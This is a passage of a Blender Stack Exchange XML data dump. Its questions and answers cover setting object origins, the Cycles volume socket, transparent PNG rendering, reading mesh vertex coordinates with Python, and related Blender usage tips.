step?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="761" LastActivityDate="2020-10-02T12:30:00.347" Title="Change pivot or local origin of an object" Tags="&lt;transforms&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="88" ContentLicense="CC BY-SA 3.0" />
  <row Id="1292" PostTypeId="2" ParentId="1291" CreationDate="2013-06-22T21:44:18.033" Score="243" Body="&lt;p&gt;One way to do this is by entering &lt;em&gt;Edit&lt;/em&gt; mode and placing the &lt;em&gt;3D cursor&lt;/em&gt; where you want the new origin. &lt;em&gt;(When doing this, you can be very precise by selecting vertices, edges or faces and using them as guides. If you pick several points and snap the cursor to them using&lt;/em&gt; &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; → &lt;em&gt;Cursor to Selected&lt;/em&gt;, &lt;em&gt;Blender will use the average of the selected points to determine the new location of the cursor)&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/licQB.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;You then go back to &lt;em&gt;Object&lt;/em&gt; mode and use &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;C&lt;/kbd&gt; → &lt;em&gt;Origin to 3D Cursor&lt;/em&gt; to update or change the object origin to the location of the &lt;em&gt;3D cursor&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;For 2.9+ you need to go to &lt;em&gt;Object Menu&lt;/em&gt;, and select &lt;em&gt;Set Origin &amp;gt; Origin to 3D Cursor&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rLEUS.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="19307" LastEditDate="2020-10-02T12:30:00.347" LastActivityDate="2020-10-02T12:30:00.347" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="1294" PostTypeId="1" AcceptedAnswerId="1295" CreationDate="2013-06-22T22:42:45.363" Score="8" ViewCount="4841" Body="&lt;p&gt;I don't understand what the volume socket of the shader output (in Cycles) does. Just for experimentation, I tried plugging an emit shader into the volume and a glass shader into the surface to create a light coming out of a glass ball, but all I got was the glass. What is the use of the Volume socket and when should you use it?&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-05-17T09:11:01.263" Title="How to use the volume socket in Cycles?" Tags="&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1295" PostTypeId="2" ParentId="1294" CreationDate="2013-06-22T22:49:45.423" Score="5" Body="&lt;h1&gt;Update&lt;/h1&gt;&#xA;&lt;p&gt;&lt;em&gt;This feature has now been added, the official documentation can be seen &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Materials/Volume&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;So now you can do just what you suggest in your question:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/e2V6t.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Have a look at this post: &lt;a href=&quot;https://blender.stackexchange.com/questions/924/smoke-in-cycles&quot;&gt;Rendering smoke in Cycles?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The volume rendering socket in cycles is not currently implemented, but &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.6/Source/Render/Cycles/Roadmap&quot; rel=&quot;nofollow noreferrer&quot;&gt;it's planned for 2.69-2.70&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Presumably, it will be used for rendering volumetric materials. (clouds, smoke, fog, etc. it may also mean the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Lighting/Lamps/Spot/Halos&quot; rel=&quot;nofollow noreferrer&quot;&gt;spot lamp will be able to use &amp;quot;halo&amp;quot; like BI&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;p&gt;Also see what the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Materials/Volume&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt; has to say:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;em&gt;The volume shader is currently under independent development.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;When the surface shader does not reflect or absorb light, it enters into the volume. If no volume shader is specified, it will pass straight through to the other side of the mesh.&lt;/p&gt;&#xA;&lt;p&gt;If it is defined, a volume shader describes the light interaction as it passes through the volume of the mesh. Light may be scattered, absorbed, or emitted at any point in the volume.&lt;/p&gt;&#xA;&lt;p&gt;A material may have both a surface and a volume shader, or only one of either. Using both may be useful for materials such as glass, water or ice, where you want some of the light to be absorbed as it passes through the surface, combined with e.g. a glass or glossy shader at the surface.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;There is a &lt;a href=&quot;http://lists.blender.org/pipermail/bf-cycles/2013-March/001249.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;patch&lt;/a&gt; by Storm for Bi-directional path tracing and Volumes in cycles. If you don't want to &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Doc/New_Developer_Env&quot; rel=&quot;nofollow noreferrer&quot;&gt;compile blender&lt;/a&gt; yourself, there are a few builds on &lt;a href=&quot;http://graphicall.org/?keywords=cyclone&quot; rel=&quot;nofollow noreferrer&quot;&gt;Graphical&lt;/a&gt;. (see &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?216113-Brecht-s-easter-egg-surprise-Modernizing-shading-and-rendering&amp;amp;p=1943209&amp;amp;viewfull=1#post1943209&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?216866-Cycles-tests-the-new-blender-CPU-GPU-renderer-of-awesomeness&amp;amp;p=2329482&amp;amp;viewfull=1#post2329482&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; for some tests)&lt;/p&gt;&#xA;&lt;p&gt;Also see the &lt;a href=&quot;http://wiki.blender.org/index.php/User:Jehuty/GSoC_2013&quot; rel=&quot;nofollow noreferrer&quot;&gt;Gsoc project to add cycles volume texturing with openVDB&lt;/a&gt;, and &lt;a href=&quot;http://wiki.blender.org/index.php/User:DingTo/Volume&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-05-17T09:11:01.263" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1297" PostTypeId="5" CreationDate="2013-06-23T00:39:17.790" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-06-23T00:39:17.790" LastActivityDate="2013-06-23T00:39:17.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1298" PostTypeId="4" CreationDate="2013-06-23T00:39:17.790" Score="0" Body="Questions pertaining to the fluid particles in Blender's particle system." OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-06-23T01:18:20.733" LastActivityDate="2013-06-23T01:18:20.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1299" PostTypeId="5" CreationDate="2013-06-23T00:42:07.800" Score="0" Body="&lt;p&gt;Smoke Simulation on the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Smoke&quot; rel=&quot;nofollow&quot;&gt;blender wiki&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-05-17T03:04:51.550" LastActivityDate="2014-05-17T03:04:51.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1300" PostTypeId="4" CreationDate="2013-06-23T00:42:07.800" Score="0" Body="Questions pertaining to Blender's built-in smoke simulator." OwnerUserId="599" LastEditorUserId="12" LastEditDate="2013-06-23T01:18:38.493" LastActivityDate="2013-06-23T01:18:38.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1302" PostTypeId="2" ParentId="1291" CreationDate="2013-06-23T09:24:21.863" Score="39" Body="&lt;p&gt;This is useful to have as a script, I wrote one back in 2011. It uses the 3d cursor but restores its original position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A link to this script is &lt;a href=&quot;https://gist.github.com/zeffii/5844379&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;here&lt;/code&gt;&lt;/a&gt; (includes all addon boilerplate) Once installed the script can be run from &lt;code&gt;3d view&lt;/code&gt; &gt; &lt;code&gt;space bar&lt;/code&gt; &gt; &lt;code&gt;Origin Move to Selected&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the juicy bit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def execute(self, context):&#xA;    saved_location = bpy.context.scene.cursor_location.copy()&#xA;    bpy.ops.view3d.snap_cursor_to_selected()&#xA;&#xA;    bpy.ops.object.mode_set(mode = 'OBJECT')&#xA;    bpy.ops.object.origin_set(type='ORIGIN_CURSOR')  &#xA;    bpy.context.scene.cursor_location = saved_location&#xA;&#xA;    bpy.ops.object.mode_set(mode = 'EDIT')&#xA;    return {'FINISHED'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To bind this to a key combo:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;User Preferences&lt;/code&gt; &gt;  &lt;code&gt;Input&lt;/code&gt; &gt; &lt;code&gt;3D View&lt;/code&gt; &gt; &lt;code&gt;3D View (Global)&lt;/code&gt; &gt; &lt;code&gt;New&lt;/code&gt;.  &lt;/li&gt;&#xA;&lt;li&gt;Then fill in the text field with &lt;code&gt;object.origin_to_selected&lt;/code&gt; and Blender will name the short-cut correctly. Then pick your short-cut keys: &#xA;&lt;img src=&quot;https://i.stack.imgur.com/40vft.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;More work up front, but convenient when used hourly.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-06-23T12:38:13.333" LastActivityDate="2013-06-23T12:38:13.333" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="1303" PostTypeId="1" AcceptedAnswerId="1307" CreationDate="2013-06-23T13:05:09.723" Score="255" ViewCount="438277" Body="&lt;p&gt;I would like to render an animation as a series of .png images with transparent backgrounds for use in a video. Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="72" LastEditorUserId="3127" LastEditDate="2014-08-05T15:34:18.500" LastActivityDate="2021-05-13T05:07:58.757" Title="Can Blender render pngs with the background transparent?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;blender-internal-render-engine&gt;&lt;image&gt;&lt;transparency&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="96" ContentLicense="CC BY-SA 3.0" />
  <row Id="1305" PostTypeId="2" ParentId="1303" CreationDate="2013-06-23T13:19:51.053" Score="21" Body="&lt;p&gt;In &lt;strong&gt;Blender Internal&lt;/strong&gt;, If you want the background to be transparent, you can change the output type to RGBA and in the &lt;em&gt;Scene&lt;/em&gt; tab under &lt;em&gt;Layer&lt;/em&gt;, untick &lt;em&gt;Sky&lt;/em&gt;. &lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-06-23T17:13:51.150" LastActivityDate="2013-06-23T17:13:51.150" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1306" PostTypeId="2" ParentId="1303" CreationDate="2013-06-23T14:09:42.350" Score="12" Body="&lt;p&gt;In the render settings go under Shading and set alpha to transparent. Then under output click RGBA. Unchecking Sky in the scene tab will also work but I'm not sure if that method will have an impact on any other parts of the render or if it's just a redundancy.&lt;/p&gt;&#xA;" OwnerUserId="792" LastActivityDate="2013-06-23T14:09:42.350" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1307" PostTypeId="2" ParentId="1303" CreationDate="2013-06-23T14:28:24.200" Score="371" Body="&lt;p&gt;Yes this is possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To save rendered images with transparent background (PNG format for instance), the settings are as follows for &quot;Cycles&quot; and  &quot;Blender Render&quot; rendering engines.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Cycles&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Properties Editor &gt; Render Context &gt; Output Panel&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Choose RGBA&lt;/em&gt; so that the alpha from the renderer is saved in the png&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Properties Editor &gt; Render Context &gt; Film Panel&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check Film&gt;&lt;em&gt;Transparent&lt;/em&gt; so that the World background is transparent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pi6Kw.png&quot; alt=&quot;Saving PNG with alpha using Cycles&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VnWBe.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VnWBe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Blender Render&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Properties Editor &gt; Render Context &gt; Output Panel&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Choose RGBA&lt;/em&gt; so that the alpha from the renderer is saved in the png&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Properties Editor &gt; Render Context &gt; Shading Panel&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Choose &lt;em&gt;Transparent&lt;/em&gt; Alpha type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4LRZk.png&quot; alt=&quot;Saving PNG with alpha using Blender Internal&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;EEVEE (Blender 2.8)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Properties Editor &gt; Render Context &gt; Film Panel&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Choose &lt;em&gt;Transparent&lt;/em&gt; Alpha type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EEh7Z.png&quot; alt=&quot;Saving PNG with alpha using EEVEE&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="228" LastEditorDisplayName="user1853" LastEditDate="2020-01-12T22:46:34.970" LastActivityDate="2020-01-12T22:46:34.970" CommentCount="17" ContentLicense="CC BY-SA 4.0" />
  <row Id="1308" PostTypeId="1" CreationDate="2013-06-23T16:05:36.073" Score="33" ViewCount="5850" Body="&lt;p&gt;If I have multiple objects selected can I use scaling to make the objects closer together (without rescaling the objects)?&lt;/p&gt;&#xA;" OwnerUserId="793" LastEditorUserId="12" LastEditDate="2013-10-20T18:38:38.687" LastActivityDate="2013-10-20T18:38:38.687" Title="Scale Space Between Multiple Objects" Tags="&lt;objects&gt;&lt;transforms&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="1310" PostTypeId="2" ParentId="1308" CreationDate="2013-06-23T16:38:47.407" Score="37" Body="&lt;p&gt;Yes, enable the pivot-point-align option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This transforms the center points only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to think of this is as a ferris-wheel - where each gondola stays in place, but you can rotate their locations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Scale:&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/lk0Tw.png&quot; alt=&quot;scale&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Rotate:&lt;/strong&gt; &lt;em&gt;Even though you didn't ask about this, it helps to understand how the feature works.&lt;/em&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/RwZUZ.png&quot; alt=&quot;rotate&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="25" LastEditDate="2013-06-23T17:04:20.990" LastActivityDate="2013-06-23T17:04:20.990" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1311" PostTypeId="1" AcceptedAnswerId="1313" CreationDate="2013-06-23T17:06:54.913" Score="24" ViewCount="38418" Body="&lt;p&gt;I want to read the vertex &lt;code&gt;x&lt;/code&gt; and &lt;code&gt;y&lt;/code&gt; coordinates with a script or a function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_release/bpy.types.MeshVertex.html?highlight=meshvertex#bpy.types.MeshVertex&quot; rel=&quot;noreferrer&quot;&gt;MeshVertex&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;appears to have no position I could use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd take any alternative approach that could give me &lt;code&gt;x&lt;/code&gt; and &lt;code&gt;y&lt;/code&gt; coordinates.&lt;/p&gt;&#xA;" OwnerUserId="795" LastEditorUserId="2217" LastEditDate="2018-03-12T13:25:31.910" LastActivityDate="2020-08-28T23:50:02.720" Title="How can I get vertex positions from a mesh?" Tags="&lt;python&gt;&lt;mesh&gt;&lt;scripting&gt;&lt;vertices&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="1313" PostTypeId="2" ParentId="1311" CreationDate="2013-06-23T17:12:34.800" Score="22" Body="&lt;p&gt;Use the vertex &lt;code&gt;co&lt;/code&gt; attribute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_release/bpy.types.MeshVertex.html?highlight=meshvertex#bpy.types.MeshVertex.co&quot; rel=&quot;noreferrer&quot;&gt;MeshVertex.co&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to take the objects transformation into account, in this case you have to multiply it with the objects matrix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This test script adds an empty at the first vertex location&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Assume we are in object mode and have a mesh object&#xA;&#xA;import bpy&#xA;from bpy import context&#xA;&#xA;obj = context.active_object&#xA;v = obj.data.vertices[0]&#xA;&#xA;co_final = obj.matrix_world @ v.co&#xA;&#xA;# now we can view the location by applying it to an object&#xA;obj_empty = bpy.data.objects.new(&quot;Test&quot;, None)&#xA;context.collection.objects.link(obj_empty)&#xA;obj_empty.location = co_final&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another common operation is to get all vertex locations with the objects transform applied, in this case you can use list comprehension to get a list of transformed vertex locations...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;coords = [(obj.matrix_world @ v.co) for v in obj.data.vertices]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Edit: updated for v2.80&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2019-09-14T19:03:31.993" LastActivityDate="2019-09-14T19:03:31.993" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="1314" PostTypeId="1" AcceptedAnswerId="1315" CreationDate="2013-06-23T17:26:13.050" Score="4" ViewCount="1405" Body="&lt;p&gt;I am using Blender Game Engines Filter 2D to make a post effect with GLSL.&#xA;In an fragment shader applied on the frame buffer, I want to access the size in pixels of that buffer in GLSL.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;uniform vec2 screensize;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is possible for objects of the type &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_release/bge.types.BL_Shader.html&quot; rel=&quot;nofollow&quot;&gt;BL_Shader&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;shader.setUniform2f(&quot;screensize&quot;, w, h)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The viewport size can be accessed in this way&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;&#xA;w = bge.render.getWindowWidth()&#xA;h = bge.render.getWindowHeight()&#xA;&#xA;print (w,h)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I don't know how to get the BL_Shader object. The &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_1/bge.types.SCA_2DFilterActuator.html&quot; rel=&quot;nofollow&quot;&gt;SCA_2DFilterActuator&lt;/a&gt; does not have any reference to such object.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;co = bge.logic.getCurrentController()&#xA;distortion = co.actuators[&quot;riftDistortion&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="796" LastActivityDate="2013-06-23T18:26:54.653" Title="Can I access the render screen size in a custom filter 2D in the game engine?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;shaders&gt;&lt;opengl&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1315" PostTypeId="2" ParentId="1314" CreationDate="2013-06-23T18:09:29.150" Score="5" Body="&lt;p&gt;All the game properties stored in the object that calls the Filter 2D are passed to the shader as uniforms. So if you have a width and a height float game properties you can set their values at run-time to match the window size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, be aware that the window size (which you get from &lt;code&gt;render.getWindowWidth()&lt;/code&gt; or &lt;code&gt;render.getWindowHeight()&lt;/code&gt;) is not the buffer size. The buffersize is the closest power of two for that dimension (e.g., a window that is &lt;code&gt;1024 x 768&lt;/code&gt; will have as buffers &lt;code&gt;1024 x 1024&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="223" LastEditorUserId="12" LastEditDate="2013-06-23T18:26:54.653" LastActivityDate="2013-06-23T18:26:54.653" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1316" PostTypeId="2" ParentId="1311" CreationDate="2013-06-23T18:22:38.523" Score="16" Body="&lt;p&gt;These scripts will output the same list in either &lt;code&gt;'EDIT'&lt;/code&gt; or &lt;code&gt;'OBJECT'&lt;/code&gt; mode.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Local Coordinates&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy, bmesh&#xA;obj = bpy.context.active_object&#xA;&#xA;if obj.mode == 'EDIT':&#xA;    # this works only in edit mode,&#xA;    bm = bmesh.from_edit_mesh(obj.data)&#xA;    verts = [vert.co for vert in bm.verts]&#xA;&#xA;else:&#xA;    # this works only in object mode,&#xA;    verts = [vert.co for vert in obj.data.vertices]&#xA;&#xA;# coordinates as tuples&#xA;plain_verts = [vert.to_tuple() for vert in verts]&#xA;print(plain_verts)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using the bmesh method would allow you to update mesh data while in edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Global coordinates ( Transform Matrix * local_coordinates )&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy, bmesh&#xA;obj = bpy.context.active_object&#xA;&#xA;if obj.mode == 'EDIT':&#xA;    bm = bmesh.from_edit_mesh(obj.data)&#xA;    vertices = bm.verts&#xA;&#xA;else:&#xA;    vertices = obj.data.vertices&#xA;&#xA;verts = [obj.matrix_world * vert.co for vert in vertices] &#xA;&#xA;# coordinates as tuples&#xA;plain_verts = [vert.to_tuple() for vert in verts]&#xA;print(plain_verts)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You don't need to do &lt;code&gt;vert.to_tuple()&lt;/code&gt;, but it can be useful if you don't want the coordinate as a &lt;code&gt;Vector((x,y,z))&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-06-24T20:05:55.643" LastActivityDate="2013-06-24T20:05:55.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1317" PostTypeId="1" CreationDate="2013-06-23T20:06:29.550" Score="2" ViewCount="5065" Body="&lt;p&gt;The &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; and &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Z&lt;/kbd&gt; combinations are essentially ignored on my Macbook. It's behaving like an unqualified &lt;kbd&gt;Z&lt;/kbd&gt; key press.  How do I get that to work on Macbook or is there another means of performing undo/redo?&lt;/p&gt;&#xA;" OwnerUserId="800" LastEditorUserId="12" LastEditDate="2013-06-23T21:58:50.540" LastActivityDate="2013-06-23T21:58:50.540" Title="Undo and Redo on Macbook not functioning" Tags="&lt;shortcut&gt;&lt;osx&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-08-28T21:08:10.670" ContentLicense="CC BY-SA 3.0" />
  <row Id="1318" PostTypeId="2" ParentId="1317" CreationDate="2013-06-23T20:35:51.150" Score="4" Body="&lt;p&gt;On Mac OS X the keyboard shortcuts for undo and redo are &lt;kbd&gt;Cmd&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; and &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Cmd&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;, consistent with other applications on this operating system.&lt;/p&gt;&#xA;" OwnerUserId="242" LastActivityDate="2013-06-23T20:35:51.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1319" PostTypeId="2" ParentId="465" CreationDate="2013-06-23T20:45:18.973" Score="5" Body="&lt;p&gt;As far as I can tell this is a limitation, and I can't see a workaround. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally you would be able to animate the inflow mesh shape, and at the same time use its motion to give the fluid a starting velocity like the local coordinates option does. This can work in principle but no one seems to have gotten around to implementing it.&lt;/p&gt;&#xA;" OwnerUserId="242" LastActivityDate="2013-06-23T20:45:18.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1321" PostTypeId="1" CreationDate="2013-06-23T23:00:45.113" Score="4" ViewCount="294" Body="&lt;p&gt;Someone asked me if we can do what the Skin Modifier does, but in reverse. For example, you started with some Edges and then create an Armature based on those Edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I started with Human Meta Rig or my own bone hierarchy, I would like to be able to traverse down using Python script and draw edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to write script that does this. Can someone point out a way to get me started? Cheers.&lt;/p&gt;&#xA;" OwnerUserId="802" LastEditorUserId="599" LastEditDate="2013-06-24T02:44:37.920" LastActivityDate="2013-07-02T05:14:58.117" Title="Point and Edges based on Armature Hierarchy" Tags="&lt;python&gt;&lt;bones&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1322" PostTypeId="5" CreationDate="2013-06-24T02:14:45.077" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-06-24T02:14:45.077" LastActivityDate="2013-06-24T02:14:45.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1323" PostTypeId="4" CreationDate="2013-06-24T02:14:45.077" Score="0" Body="A displacement map is image map used to create fine details in an object with the Displace modifier, displacement done at rendertime, etc." OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-07-08T20:38:05.507" LastActivityDate="2013-07-08T20:38:05.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
